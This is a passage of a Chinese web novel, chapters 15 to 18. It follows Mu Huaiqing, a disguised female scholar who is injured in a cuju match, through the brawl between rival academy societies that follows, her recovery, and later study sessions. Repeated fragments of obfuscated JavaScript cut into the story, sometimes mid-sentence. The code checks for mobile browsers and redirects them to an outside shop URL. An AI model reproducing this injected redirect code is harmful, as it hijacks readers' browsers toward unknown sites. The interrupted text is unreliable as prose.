球从高空落回时,双方互相争夺,几经颠转后再次被人踢向高空。 陆居澜的身影这时随球跃起,一脚踢出! 百姓们一阵叫好。 鞠球迅疾如风射向球门,却偏了位置,被网弹开。 惋惜声连成一片。 “唉,可惜霍小郎君不在啊。” “往年都是同陵社赢,会不会是平乐社故意把他搞下去的?” “可我看着像是霍小郎君推了他。” “不知道哎,那人这么瘦,霍小郎君兴许不是故意的呢?” “我觉得今年该平乐社赢了。” 百姓们讨论得再火热也影响不到赛场上去。 方才陆居澜一球未中后,平乐社的防守就更严密了。 王永行和戴绩衡两个改变思路,放弃了传球机会,将左右竿网的责任交给队友,而后分别绕开,转为掩护。如此一来,对方散立最多只能牵制住他们其中一人了。 袁少华见势不妙,球刚到脚,便着急一试踢向球门,果然没中。 那球门设在近三丈高的空中,球网松散,而球眼只比球大上这么一点,要单凭脚力踢过去,难度不小。 双方各试一球未果后,赛场重新胶着起来。 赵小苒也着急了,她不想看见同陵社输,又因为酸梅汤那事,怨气还没散呢,眼下只盯着慕怀清看,心想,若这人还敢出什么幺蛾子,回了赵府也没这人好果子吃。 慕怀清还不知道自己就这样被人惦记上了,她在场上规规矩矩比赛,可对方好似看出来她的破绽,只把球往她这赶。 队友担心她又出差错,传起球来束手束脚的,她面上却依旧镇定。 这时,球再次传到了她脚上,她看了一眼场上位置,时机刚好。 对方追了好几回,已知她下一步会如何做,便不再追得那样紧,只盯着她的动作准备去接,岂料她转身便运起了球! 他们反应也很快,当下扑了过来,那魁梧的散立瞬间就接近了她! 慕怀清心跳加速,人影晃至眼前时,她伸腿一勾绕过,随后一脚踢出,鞠球飞起,迅猛如电! 根本没人反应过来这速度,那散立为了阻拦,竟出脚踢在慕怀清腿上! 可阻拦已经来不及了,陆居澜飞身接住那球,一脚踢入球门! 围观百姓从座上弹起,爆发出阵阵喝彩,这震耳的涟漪一圈圈扩散出去,久经不散。 所有人的注意力都在球上,一球赢下,他们都激动地朝陆居澜围过去,根本没人注意到慕怀清的情况。 且说那球刚踢出去,她就挨了一脚,登时觉得骨头都要裂了,支撑不住摔在地上。 本来利用好了对方心理,踢出很漂亮的一记传球,她是千想万想也没想到,对方为了赢竟然会直接对她出手。 不过好在对方注意力都在她身上,陆居澜球也接得快,最后还是自己这边赢了。 同陵社的人都在欢呼,平乐社的人面色铁青陆续下场,唯有赵知行冲进场气势汹汹拦住对方散立。 “你刚刚踢人几个意思!” 他这一喝,众人的目光都被吸引过来,本来要散场的百姓也赶紧回头坐下。 慕怀清闻言扶额。她不想把事情闹大啊,对面那个球头刚看完伤,这会儿说不定郎中还在,若是当场叫她撩起裤脚来怎么办? 真真是要命,早知会变成这样,她就算伤了和霍澄他们几个的情分也要找借口不上场了。不过赵知行替她出面,她到底还是感激的。 陆居澜见慕怀清坐在地上,赵知行又在那不依不饶和人吵了起来,心中隐约猜到发生了什么,当即拨开人群走了过来。 “怎么回事?”慕怀清闻言抬头,陆居澜已经停在她面前,朝她伸出了手。 她腿上虽疼,却半点不敢表露出来,只往后一仰:“没什么,不过就是对方那散立着急抢球,踢了我一下。” 陆居澜一双眉愈皱愈紧,手依旧伸着,语气沉了下来:“要是没什么,你就起来。” 慕怀清深吸一口气,无奈扶上他的手,站起来时忍不住晃了下。 陆居澜一个用力将人托住:“伤得竟这样重!” 眼前的人有些清瘦,掌中握着的手也小,再看对方那散立魁梧的身材,他怒意就上来了:“不是跟你说过,要是踢不来,球一到就传出去,你逞什么强,没你就赢不了吗!” 慕怀清头一回见他发火,不敢顶撞回去,只好摸着鼻子道:“明澈不在,我不想你们输,自然要尽力,可没想到他会伤人啊。” 陆居澜见她这委屈的样子,一时心软,语气缓和不少:“输赢没人重要。” “嗯,知道了。” 周近野也走过来了,担忧道:“我先去请个郎中吧。” 慕怀清连忙摆手:“不用不用,一点外伤很快就好了!” 陆居澜气不打一处来:“你当自己铁打的?” “要去请的。”周近野说罢便离开了。 同陵社的人这时已经到场上来了,霍澄见老陆扶着慕怀清,周近野急匆匆离开,又见赵知行带着人和平乐社的吵了起来,还有什么不明白的,着急上前来:“他们打人了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988274|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 逐月紧张跟在后面,问慕怀清道:“郎君怎么样,要不要紧啊?” 慕怀清把来龙去脉简单说了一遍。 “大爷的,把我整下去不说,还这么明目张胆伤我兄弟,你等着,我这就上去给你报仇!” 霍澄撸起袖子,看架势竟是真的要动手。社里其他人刚刚再怎么抱怨慕怀清,但毕竟是自己人,见她被欺负了,也想着要出一口气,柳江心都稳不住他们。 “别打架,有话好好说。”慕怀清连忙去拦霍澄,忘了腿上还疼,整个人往前跌去,陆居澜眼疾手快扶住了。 霍澄跟吃了爆竹一样:“好好说什么?明明就是他们先伤人的!” 慕怀清没拦住霍澄,鞠正正在处理那边的闹剧,她怕等下郎中来了直接叫她在人多的地方掀衣摆,只央求陆居澜道:“云程兄,你就先扶我去坐着吧。” 陆居澜冷着脸没说话,到底扶着人去凉棚了。 - 赵知行看得清清楚楚,就是这人踢了慕怀清一脚。 对方散立还在狡辩:“我说了我是不小心踢到的,蹴鞠场上难免受伤,他要是玩不起,还来这干嘛?” 赵知行看了下慕怀清那边,见陆居澜已经过去扶了,便放下心来,转头冷笑一声:“你少糊弄我,抢球还能踢到人小腿上去的!” 袁少华这时走过来挡在那汉子前面:“赵知行,你想闹事?” “我闹事?我告诉你,今天他不给我兄弟一个交代别想走!” 叶誊玉是听见动静过来的,没想到对方竟然动脚踢人了,一眼看过去,就见慕兄坐在地上,陆师兄刚扶着站起来。 他怒道:“你们欺人太甚了吧!” 叶誊玉身后跟过来的人也纷纷怒火冒了头。 “踢人了?你们什么意思啊!” “你们把霍兄搞下场,现在又打伤慕兄,还能不能再要点脸!” “难怪敢下战帖,原来在这憋着坏水!” 同陵社早就攒了一肚子不满。 鞠正这时走到双方中间:“你们若是真的伤人了,就道个歉。” 赵知行道:“道歉?光道歉可不行!” 袁少华瞪了汉子一眼,恼他让人抓到把柄,但自己人怎么样也得维护:“你们口口声声说我们伤人,证据呢?那人是被踢断腿了吗?我们都还没要霍明澈道歉呢!” 百姓们听得津津有味,这时也忍不住凑热闹,纷纷叫嚷道: “我看见了,是他故意踢的人!” “对,我也看见了。” 赵知行高声道:“听见没?这就是证据,父老乡亲们的眼睛都雪亮着呢!” 袁少华气得浑身发抖。 最后一次的传球和进球太过紧凑,很多人都反应不过来,鞠正也没看清楚到底是不是故意踢人。按理说比赛到这里已经算是结束了,但他怕双方闹起来,到底还是劝了两句。 可双方谁也不服谁,比赛已经结束,就更没人把他小小一个鞠正的话放在眼里。 霍澄正好带人过来,他积了一肚子火气,人还没有走近,声音就骂过来了。 “你们谁踢的人,给老子滚出来!” 对方社长蔡许洋也带人赶到,阴阳怪气讽刺回去。 “你自己撞到人不承认,别人不小心踢到就是故意的?” 柳江心本还想冷静和对方论论理的,可架不住霍澄暴脾气激怒对方。 两批人撞在一起,他连看都没看清,不知道怎么回事,居然就打起来了! 16. 第十六章 “哎呀,他们怎么就打起来了!”逐月突然叫了一句。 慕怀清才刚坐下,那边就尘土飞扬,叫喊一片。 陆居澜扫了一眼,道:“明澈太冲动了。” 逐月一跺脚:“等回去老太公肯定要罚的啊!” 慕怀清道:“能让他们停下吗?府衙来人就不好了。” 陆居澜倒是半点也不急:“太乱了。” 是真的乱,往日自视清高的学子们眼下撕扯在一起,风度全然不见,你给我一掌,我踹你一脚,一边打一边叫骂,那场面,别提多热闹了。 就是可怜鞠正一把年纪,本想劝架,但根本没人听,夹在中间不小心吃了两拳,连推带搡挤出来后,气得拂袖而去。 围观的人不减反增,都是头一回瞧见这样大场面的学子干架,就等着看完热闹回去跟街坊邻居唠一唠。 慕怀清叹口气:“云程兄还是扶我起来罢,我去劝一劝。” “你留在这,我去就行,”陆居澜说着往场上走,却见周近野带着郎中回来,便又折返了,“先让他们打一会,明澈吃不了亏,知行有危险自己会躲。” 可真实情况是,因为霍澄二话不说就开打,赵知行连个反应时间都没有,人从后方涌上来将他推到前面去,他挨完一脚,又接了一拳,心中郁闷到吐血,怀疑霍澄就是故意折腾他来的! 柳江心也叫苦不迭。本来想好好商量来着,可他还一个字都没说呢,双方撞到一起,直接把他夹在中间。他哪里打过架啊!只能手忙脚乱护住头脸,即便如此,依旧扛了不少揍。 而那些激动起来的人都分不清谁是谁了,逮着对面的就打,很多人挤在中间,那是不还手也得还手,打成一片,场面这才混乱起来。 周近野艰难从围观的百姓中穿过来,第一眼看见的便是这幅景象。 他目瞪口呆道:“这,怎么就打上了?” 一个头发花白大半的老人背着药箱从周近野身后出来,慕怀清微眯了眼,对那老人颔首道:“孙郎中。” 周近野请来的郎中正是孙鼎。 孙鼎笑呵呵道:“小郎君未免多灾多难了些,哪日得去庙里拜拜菩萨才好。” 陆居澜上前帮孙鼎把药箱从肩上放下来,对周近野道:“明澈的性子你也知道,他一冲上去,就打起来了。” “这么打不行,我劝劝去。”周近野一个头两个大,说罢又往场上去了,一刻不得闲。 慕怀清见周近野去了,这才松了口气。 “伤在何处?” 慕怀清听见孙鼎问,见同陵社这个凉棚的人都走光了,又瞧了陆居澜一眼,抿着嘴,犹犹豫豫掀开衣摆。 逐月识趣转过身去,又忍不住偷偷转过来瞧了两眼。 慕怀清深吸一口气,动手去褪鞋袜,鞋子刚脱下,又停住了,再瞧了一眼陆居澜。 她刚想说,你还是也去劝劝他们吧。 结果陆居澜眉头一皱,直接蹲下来帮她脱,嘴里还说:“有这么疼吗?脱个鞋袜也不敢。” 他以为慕怀清看他,是因为怕碰到伤口会疼,又不好意思叫自己帮忙。 慕怀清吓了一跳,连忙去拦:“不是不是,我不是这个意思。” 就一句话的时间,陆居澜已经解开了系带,袜子褪下,露出脚踝上方一片狰狞。 慕怀清“嘶”了一声。 那脚踝很细,肌肤似玉柔白,可上方偏偏盖着深重的淤黑,受伤之处已然高肿,瞧着触目惊心。 陆居澜没想到竟会这样严重,盯着那伤口看,看得心中火气愈发旺盛。 慕怀清被他看的不自在,下意识缩了缩腿。 陆居澜抬头,却见少年低垂着眸子,微红了脸。他心中还未来得及疑惑,就听见孙鼎的声音。 “先让小老儿看看吧。” 陆居澜这才面色难看站起来。 慕怀清见他要走,猜到他意图,情急之下一把拉住他的手:“你做什么去?” 陆居澜回头道:“你这身板,让人欺负了也讨不回来。” 慕怀清眼睁睁看着他走远。一颗心又提了起来。我叫你去劝架,不是去打架啊! 孙鼎替她上药,疼得她咬牙。逐月没忍住,到底转过来看了,却在看见那伤口后鼻头一酸。 这时赵小苒带着翠翠过来,逐月一眼瞧见,立马戒备起来,将慕怀清护在身后。 赵小苒面皮一僵。 慕怀清拍了拍逐月,示意她安心,这才对赵小苒道:“你来这里做什么?” “怎么,怕我会吃了你不成?不过是见你受伤,好心过来看看而已。”其实她是想见陆居澜来着的,可他人刚走。 慕怀清冷笑:“小妹的好心,我这个哥哥可承受不住。” “谁是你妹妹!” “你啊。” 赵小苒气得胸膛一阵起伏,还想说什么,人群却突然一阵骚动,急哄哄地四下散开。 是府衙来人了。 - 要说霍澄,那可是打架的一把好手,以前在京中还有个京城一霸的名号。 他父亲大人官至参知政事,儿子就他这么一个,自然对他期望很高。可霍澄生来就不是安分的,霍朗事务繁忙管不住他,那次霍澄将刑部尚书的儿子打断腿,差点连霍朗的仕途一起影响了。 霍老太公看不惯霍朗这么教儿子,早几年一气之下把人接到晋州来亲自管教,这才收敛许多。 可能因为平日里管得狠了,霍澄这回打起架来那可是放开了手脚。周围倒下去一片,他还跃跃欲试等着人上来呢。 不上来?不上来他就自己找人去,平日里他看不惯的蔡许洋跟袁少华都没少挨揍,两人捂着发紫的嘴角骂都骂不出来。 虽说打得兴致正高,可他还没忘记自己是为什么打的,目光扫了一圈,找到那个魁梧汉子后,正想过去,周近野就穿过一片硝烟来了。 “明澈,你做什么?别打架了!” 霍澄半点听不进去:“你先躲远点,我马上就要把账给算了!” 说罢他朝那魁梧汉子冲了过去,根本没人敢拦他。 那汉子竟也被他吓得往后缩,刚躲过一脚,又从旁边出现一个人把自己踹了。 霍澄双眼一亮:“老陆,你来了!” 陆居澜抓住那人衣领:“我只问你一次,是不是你故意踢人?” 汉子有些慌了:“我,我就踢了一下啊,能有多严重。” 陆居澜见他还要狡辩,揪着人就走:“你自己跟他解释去!” 霍澄连忙跟上开路。 周近野见陆居澜也要打,更是傻眼了。 岂料这会儿看热闹的人瞬间散了,打着架的学子们也不由得停下来。 是府衙来人了。 “都干什么干什么!” 方才还闹哄哄的场面霎时间变得落针可闻。 陆居澜也松了手,面不改色地暗中一脚踢出去,踢在那汉子脚踝上方,当场把人踢倒。 赵知行见府衙来人,捂着脸一瘸一拐走上前去想要解释。 那为首的官兵没认出他来,喝了一句:“都说了别动!” 这时赵小苒跑过来叫了句哥,为首官兵回过头来又看了两眼,这才认出赵知行来。 “原来是赵衙内。”张漠倒吸一口冷气,他没想到知州的儿子就在里面。 眼前这些学子几乎个个头发凌乱,衣衫不整,哪里还有读书人的模样。官兵们也是头一回见,心底那个震惊啊。 赵知行清了清嗓子:“见过张巡检。” 张漠不好再板着张脸了,脸色比赵知行还尴尬的样子:“赵衙内,这是怎么回事?” 赵小苒将帕子递给赵知行,他接过来擦了擦嘴角的血:“我们两个社本来在比蹴鞠,可对方故意弄伤了我们的人,就打起来了。” 霍澄从人群中揪着那汉子出来:“就是他,就是他故意伤人!” 张漠一见是霍澄,别开头闭了闭眼,平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988275|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复片刻后才转回来对这位祖宗道:“霍郎君可有证据?” 霍澄一听就不乐意了:“知行都看见了还要证据?对吧知——” 他转头一看,说不下去了,连忙松开那汉子去扶赵知行。那汉子被霍澄松开后骤然跌在地上,平乐社的人给扶起来,痛得他叫了一声,这才发现他右脚立不住。 霍澄扶着赵知行,急道:“你不会躲么?怎么让人打成这个样子!” 赵知行气得手脚发抖:“你还好意思说?讲都不讲一声就干上了!” 霍澄嘿嘿笑了两声:“这还不是他们欺人太甚了嘛。” 蔡许洋半边脸肿得老高,说话口齿不清:“赛场上受伤不是很正常吗?你们这样打人还好意思说我们,简直欺人太甚!” 有一个官兵没忍住笑,被张漠一眼瞪了回去。 “伤得确实重,是刻意为之的,就道个歉赔点钱吧。” 张漠听见声音,回头看去,叫了句“孙郎中”。 平乐社的人面色一变。孙郎中在城中名声极好,他说重,那就是重。 慕怀清跟在孙鼎后面,陆居澜和逐月扶着她一瘸一拐走过来。 官兵到时,慕怀清腿脚没赵小苒快,就落在后面由逐月扶着。陆居澜看见了,没去前头掺和,绕过人群来接她。 张漠问她:“就是你受的伤?” 慕怀清点头。 弄明原委后,最终以对方道歉赔钱收了场。 官兵们处理完就走了,平乐社相互搀扶着不甘心地离去,同陵社的学子们浑身挂彩,关心慕怀清两句后也纷纷告辞。柳江心肿了一只眼,更是连往常挂在脸上的笑都维持不住了。 叶誊玉虽挨了揍,却还记挂着慕怀清,临走前嘱咐:“慕兄好好养伤啊。” 慕怀清笑着同他挥手,随后向身边的孙鼎道了谢。 孙鼎摆摆手:“应该的,那药早晚一次,不够了就来药堂拿,没什么事的话小老儿就先走了。” “郎中慢走。” 待人散后,赵知行黑着张脸对霍澄道:“你下次要胡来也先打声招呼好不好!” 霍澄连忙点头:“好好好,下次要打一定先跟你说一声。” 赵知行闭眼,深呼吸,不跟他一般计较,随后转头又数落起陆居澜:“还有你,往常不是最冷静的吗?不来劝架,怎么就和他一起打过去了!” 陆居澜一直扶着慕怀清,这会别开头,不自在地轻咳两声。 赵小苒见他说道陆居澜,扯了扯他的袖子:“哥。” “还有你!你,你——”赵知行指着她的鼻子想骂,可见她委屈看着自己,一副泫然欲泣的模样,最后只是一甩袖子。 周近野道:“知行就莫再生气了,这回确实对方有错在先,明澈他们也是一时情急。方才郎中给你看过了,便先回府休息吧,慕兄也不好再站着。” 今日平白无故挨了一顿揍,赵知行气得肺都要炸了,眼下见周近野这样说,便没再发作,顺着台阶下去:“就这样吧,先把慕兄送回去。” 霍澄为表悔过之心,连忙去架慕怀清的手:“我来背我来背!” “你干什么!”慕怀清吓了一跳,登时就要退开,奈何脚还伤着,整个人往后跌去。 陆居澜忙扶住她肩。 慕怀清半倚进陆居澜怀里,涨红了脸,挣扎着站直身体,积了一肚子的气眼看就要爆发,最后又咽了回去,硬生生憋出眼泪来。 所有人都吓住了。 霍澄也急了:“你腿伤着,我想背你,你,你怎么还哭了呢?” 慕怀清抹了抹眼角,理由编得情真意切:“我又不是腿断了,哪里用得着人背,多丢人啊。” 霍澄好声好气哄:“不背就不背,我们扶你回去总行了吧。” 慕怀清道:“别搞得我多虚弱一人似的就行。” 逐月担忧道:“真走回去啊?早知道我家郎君出门应该坐马车的。” 赵知行闻言看向赵小苒。 17. 第十七章 赵小苒眼见陆居澜扶着慕怀清要走,咬牙道:“我们有马车。” 陆居澜等人看了过来。 赵小苒艰难道:“我、我和大哥一起坐马车过来的,可以和他一起回去。” 几人还记着先前那场闹剧,此时交换了一下目光。 有好处送上门,慕怀清自然不会拒绝,:“既如此,那就多谢小娘子了。” 说罢又对霍澄几人道:“你们也受了伤,赶紧回去上点药吧。” 霍澄嬉皮笑脸道:“我皮厚,不打紧。” 陆居澜悠悠道:“不知道是霍老太公的棍子硬,还是你的骨头硬。” 霍澄顿时苦了脸。 慕怀清一惊:“明澈回去会罚很重吗?”此事毕竟因她而起,她多少有些过意不去。 赵知行在一旁说着风凉话:“他平日里揍人揍得多,总要还回去的。” 周近野对慕怀清道:“明澈这样冲动,总该吃些苦头,你不必担心他,自己好好养伤,我们就先告辞了。” 慕怀清拜别几人,同赵知行和赵小苒上了马车。 马车一路驶到府衙后院,赵小苒愣是咬着牙一个字也没说过。 赵知行问赵小苒道:“你在这里下还是从正门回去?” 赵小苒冷哼一声,扭过头去。 赵知行扶着慕怀清下车,没再多言,两人脚刚一落地,车夫就在赵小苒的催促下急急赶着车离开了。 赵知行扶着她进门,面上难得露出真诚的神色:“今日小妹的不是,我代她向你道歉。” 慕怀清摇头:“我并未放在心上。” 两人进门坐下,赵知行又唤来刘媪,刘媪一见,吓了一跳。 “两位郎君怎么伤成这样了!” 赵知行将原委解释给她听,又叮嘱她好好照看慕怀清,刘媪连连点头。 赵知行离开时,慕怀清在身后道:“今日多谢大哥。” 赵知行闻言脚步一顿,随后继续向前走去。 - 这场闹剧免不了要传到赵季青的耳朵里。赵知行前脚刚回去,没多久赵季青就来了。 王氏正给他上药,疼得他连连倒吸冷气。 赵季青一进门,就看见了他那鼻青脸肿的样子,无奈道:“事情我都听说了,你不会打架,还凑上去做什么?” 赵知行没想到爹来得这样快,老实道:“孩儿被夹在中间,不想打也得打。” “这好,伤得不算厉害。那些个学生未免也太过分了,比赛场上耍心机不说,竟敢出手伤人,府学有些风气是得好好改改了。今天还要多谢你维护这个弟弟。” 赵知行不肯承认:“今天维护他的是明澈,不是我。” 赵知行听见了他微不可闻的一声叹息:“你好好养伤,这几日莫要随着霍家那孩子折腾了,我还有公务在身,就先走了。” 只坐了短短几句话的时间,赵季青又匆匆离去了,从头至尾,他和王氏都没有半分交流。 打赵知行记事起,向来如此。爹娘相见甚少有笑颜,饭也不常在一起吃。爹总忙公务,有时一连好几天都看不见人影。 赵知行知道别人对爹的评价,说他是个好官,将晋州治理得井井有条。可在赵知行心里,这位好知州却不算一个好爹。 他目送那身影远去,恍然间发现,那人头上竟已生了些许白发。 - 慕怀清晚饭吃到一半,赵季青就过来了,她撑着桌子站起来行礼,唤了声爹。 赵季青连忙上前把她按回凳子上:“不必多礼,我听说你们出了事,就抽空过来看看。” 慕怀清道:“我除了腿上一处伤,其他地方倒没伤着,不碍事的。” “府学的事,我已命人去敲打了。往后你们若再遭人算计欺负,万不可像今日这般莽撞,只管去报官,有我给你们撑腰。” “孩儿记住了。” “好,那爹就不打扰你用饭了。” “爹吃饭了吗?要不要留下来一起用饭?” 赵季青摇头:“我刚从城外巡田回来,府衙里还有些事等着我处理。你好好养伤,我这便走了。” “嗯,爹也保重身体。” 慕怀清心想,这位赵知州,倒算个有情有义的人,可惜慕家弟弟没能走到这里。 - 修养了几日,陆居澜和霍澄就寻到了慕怀清的住处前来探望,赵知行自然同行。 陆居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993317|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澜问慕怀清:“你伤可好些了?” “好多了。”慕怀清现在能自己走路。 霍澄在边上叹:“你都不知道,我本来没受什么伤的,硬是让我祖父给打出伤来。” 慕怀清满脸歉意:“抱歉,此事因我而起。你伤势如何?” 赵知行道:“你道什么歉,他又没少挨过打,不痛不痒的,第二天就消下去了。” 说到这霍澄就不乐意了,敞开衣领给他看,肩上赫然陈着几道淤青:“亏我还把你当兄弟,你瞧瞧,这叫不痛不痒?” 慕怀清连忙移开目光:“怎的打成这样,你不好好养着,来这做什么?” 几人自那日散后,今天头一回聚在一起,陆居澜和赵知行没想到霍澄竟然忍到现在才说。 陆居澜皱眉道:“往常霍老太公没下过这么狠的手。” 赵知行见状也是愣住了。 霍澄见吓到三个人,反而诡计得逞般笑了起来:“我说你们啊,我霍明澈还怕这个?这跟以前在京城时比算得了什么。” 赵知行见他嬉皮笑脸的就来气:“合着遭人打还能拿出来炫耀了。” 慕怀清见他拉上衣襟,这才转回目光道:“改日我登门去同霍老太公赔罪吧。” 霍澄见他们真放在心上了,连忙摆手道:“真不打紧,这回是我自己把他气狠了,你也别去赔什么罪,他看见了还得气。” 陆居澜问:“你又怎么气霍老太公了?” 霍澄扁扁嘴:“本来他因为我蹴鞠场上跟人打架那事就不高兴,骂我只知玩乐不知学习,我就还嘴说恶人不惩会害了好人,他气得要打我,我不服,还顶撞他,说我将来指不定就书本一扔入伍去了,天天跟人打架,然后他就真打我了。” 慕怀清哭笑不得:“令祖父是望你成才,他老人家年纪也大了,你莫要气他。” 因着这一出,几人都被逗乐了。 陆居澜见桌上还放着一本书,又问慕怀清近来都看了什么。田假还有几日就要结束了,回去之后还有课试,他心底一直记挂着。 两人讨论起学问来就停不下了,霍澄听得脑袋嗡嗡响。 “停!这还没回书院呢,怎么就开始念书了。” 18. 第十八章 对霍澄来说,快乐的时光总是短暂,田假好似才开始,便要结束了,更何况一回到书院还要应付课试。 不少学子也沉浸在田假中无法自拔,做起试题来如坐针毡。 课试结束那天晚上,几人照旧聚在慕怀清房间。霍澄便抱怨说,这课试时间安排的不合理,哪有一放假回来就考试的。 赵知行照旧要呛他一呛:“你自己光顾着玩,还敢反过来责怪晚渔先生。” 周近野对霍澄道:“知行兄说的是,眼下云程和无晦两个在讲试题,你安静些听。上次你气老太公那么狠,莫要再让他担心了。” 自从第一次课试陆居澜主动来找慕怀清后,几人隔三差五便要聚在一起讨论学问。 慕怀清这里地方虽小,但胜在安静,也不会有其他斋舍的学子来打搅。常常是讲至深夜,霍澄第一个捱不住困睡过去了。 霍澄举手投降:“行行行,我闭嘴,你们继续。” 几人相视一笑。陆居澜和慕怀清继续讨论起试题来,说的是岐州水患治理,赵知行和周近野偶尔就自己的想法问上两句。 可讲着讲着,没过多久又被打断了,这回却不是霍澄。 只见房门外挤着一堆人,你推我我推你,叶誊玉被推到前面来,笑呵呵跟几人打了声招呼。 这场景慕怀清看着好笑:“何事?” “也没什么事,”叶誊玉看了眼身后的众学子,回过头来嗫嚅道,“就是、就是听闻慕师弟和陆师兄常在此讲学问……” 霍澄当即道:“不成啊,这么小个地方你们怎么挤得进来?” 赵知行道:“笨啊你,又没说非得在这听。” 柳江心从叶誊玉身后走出来,清了清嗓子,对慕怀清几人拱手行了个礼:“不知几位可愿前去斋舍?” 众学子都纷纷附和。 往日陆居澜虽说是书院中的学问第一人,但性子高傲了些,他要是不愿,没人能同他亲近起来。请教一次两次还好,多了便怕他烦,是以在书院几年,很少有人常去找他。 不过慕怀清来了之后便不一样了,两个人争起了甲等第一的名头,学子们都说是陆居澜暗地里同慕怀清较着劲,猜测两人合不来,私底下编排了各种各样的版本。 再后来他们发现两人虽然在争,但却经常在一起讨论学问。上次蹴鞠赛,听现场的人说,两人关系似乎很好,慕怀清受了伤,陆居澜还一直扶着呢。 书院里头对慕怀清的印象已经改观不少,尤其是上次和慕怀清一起参加过蹴鞠赛的那些人。 在他们的讲述下,不少学子都蠢蠢欲动,见陆居澜几人又来找慕怀清,便生了这份心思。毕竟是两个学问这样好的人,机会可不能放过。 叶誊玉见慕怀清还在犹豫,恳切道:“我等仰慕慕兄才学,慕兄总不会连这个机会都不给我们吧?” 慕怀清不是不肯给他们讲,只是那斋舍住的全是男子,她实在有些不方便过去。 叶誊玉见她不说话,又问陆居澜:“陆师兄呢?” 陆居澜看了慕怀清一眼:“我听无晦的。” 众学子的神情微妙起来。 现下这种局面,再拒绝就显得矫情了,未免有点太不把别人放在眼里的意味,慕怀清只好点头。 众学子欢呼起来。 慕怀清叹口气,起身收拾书卷随他们去了斋舍。虽然经过斋舍很多次,但真正进去,这还是头一回。 穿过月洞门,便可见宽阔的庭院栽有修竹,南北相对两排房间,霍澄他们住在北侧。 斋舍的房间住四人,比慕怀清的大了好几倍,摆设也更精致些。十来个人就挨在屋子里围着坐。虽说有些脱了外衣,但只要不光着膀子,慕怀清还是能接受的。 其他房间的人听见了动静,都跑过来瞧。慕怀清和陆居澜两个讲了没多久,便吸引过来不少学子,屋里坐不下,就从窗户探进来听。有来凑热闹的,也有真心向学的。 李平章经过这里的时候,看见的便是这样一副景象。 作为书院山长,他常会来斋舍看看学子们的生活,有学子来请教,他当场讲解起来直到深夜,也是常有的事。 不过平时再怎么热闹,最多也就是一个房间里凑了几个人,说话声音大些而已,像今日这样里里外外围满了人的,倒是少有。 学子们见山长来了,个个恭敬行礼。 李平章问他们道:“里面怎么回事?” 一个学子答:“是慕师弟和陆师兄在讲试题。” 李平章好一会才反应过来,他口中的慕师弟是慕怀清。 学子们见晚渔先生要进去,让开一条道。 屋中人无论讲的还是听的,都很认真,以至于晚渔先生站了许久后他们才发现,连忙起身行礼。 李平章一摆衣袍坐下:“方才你们说的礼记正义载五养老、七养老之礼,还有一点需要注意。此为汉儒制度,多推从殷,放到今日来就有些不合适了。比如那乡饮酒礼便过于繁复,若强行为之,无甚益处,倒不如依照现今风俗酌行为之……” 晚渔先生开了讲,直到夜深才罢,起身离去时叮嘱众人好生休息。 几日后课试结果出来,又是慕怀清拿了甲等第一,陆居澜嘴上不说什么,学得却更起劲了,走路吃饭三句话不离学问,直把霍澄折腾得叫苦不迭。 而那斋舍夜里隔三差五的讲学则越发热闹起来。应其余学子的要求,斋舍房间会轮流去,拿叶誊玉的话来说,这叫雨露均沾。 可人一高兴起来,便要忘乎所以。 且说这天慕怀清等人在叶誊玉房中聊起今日章先生所讲的内容,聊到了一处不甚明了的地方,众人便争执起来。 叶誊玉道:“我去拿书,时杨兄今日记了讲簿。” 马时杨是他舍友。 他刚起身要去拿,一边的马时杨也连忙跟着站起来:“誊玉等等,我来拿我来拿!” 叶誊玉没听懂他在着急什么,手已经伸往边上的一摞书,马时杨情急之下抢着去拿,结果叶誊玉同他碰到一起,把书碰了一地。 好巧不巧一本书掉到慕怀清旁边,她帮忙去捡,拿到手里时却见这书比平常的经卷要薄一些,封上空白无字,但泛黄发旧,还有毛边,看得出来翻看过不少回。 她好奇打开,马时杨都没来得及制止她。只过了一眼,慕怀清就立马合上,脸红到脖子根。 马时杨颇为尴尬地从慕怀清手里接回书来:“那个、今天,嗯……还没来得及放回去,勿怪、勿怪。” 场中见慕怀清脸色,便知道刚才她手上的是什么了,个个来了兴趣。 “时杨兄啊时杨兄,想不到你也看啊。” 叶誊玉见怪不怪地拍了拍马时杨肩膀:“你怎么不早说,我这也有几本呢。” “你们都藏着?那不成,我跟你们换一下。”说话这人是戴绩衡,之前和慕怀清踢过蹴鞠的。 马时杨松了口气:“原来你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 